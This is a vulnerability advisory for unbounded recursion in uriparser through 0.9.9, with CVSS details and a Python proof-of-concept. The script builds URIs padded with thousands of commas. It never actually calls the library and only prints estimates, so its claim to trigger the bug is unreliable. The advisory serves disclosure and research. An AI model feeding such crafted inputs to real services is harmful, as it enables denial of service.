uriparser through 0.9.9 allows unbounded recursion and stack consumption, as demonstrated by ParseMustBeSegmentNzNc with large input containing many commas.
CVSS Details
CVSS Score
2.9
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Configurations (Affected Products)
No configuration data available.
uriparser < 0.9.10
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-67899 PoC - uriparser Recursion Stack Consumption
# Description: Generate malicious URI input with many commas to trigger
# unbounded recursion in ParseMustBeSegmentNzNc function
import ctypes
import sys
def create_malicious_uri(num_commas=10000):
"""
Generate a URI with many commas to trigger unbounded recursion.
The ParseMustBeSegmentNzNc function processes segments recursively,
and commas trigger additional recursive calls without depth limiting.
"""
# Create a path with repeated comma-separated segments
segment = 'a,'
malicious_path = segment * num_commas
return f'http://example.com/{malicious_path}'
def trigger_vulnerability(uri_input):
"""
Simulate triggering the vulnerability by parsing the URI.
In real scenario, this would call uriparser's UriParseSingleUri
or UriParseMultipleUri functions.
"""
print(f"[*] Input URI length: {len(uri_input)} characters")
print(f"[*] Number of commas: {uri_input.count(',')}")
print(f"[*] Estimated recursion depth: ~{uri_input.count(',')}")
print(f"[!] This could cause stack exhaustion and denial of service")
# In production, this would call:
# UriParserStateA state;
# UriUriA uri;
# if (UriParseSingleUri(&state, &uri, uri_input, NULL) != URI_SUCCESS)
# handle_error();
return True
def main():
print("=" * 60)
print("CVE-2025-67899 PoC - uriparser Recursion Vulnerability")
print("=" * 60)
# Generate URI with varying levels of commas
test_cases = [
("Low complexity", 1000),
("Medium complexity", 5000),
("High complexity", 10000),
("Critical - likely to trigger DoS", 50000)
]
for name, num_commas in test_cases:
print(f"\n[*] Test case: {name}")
uri = create_malicious_uri(num_commas)
trigger_vulnerability(uri)
print("\n[*] PoC demonstration complete")
print("[*] In real environment, use uriparser library to trigger")
print("[*] The unbounded recursion can cause stack overflow")
if __name__ == '__main__':
main()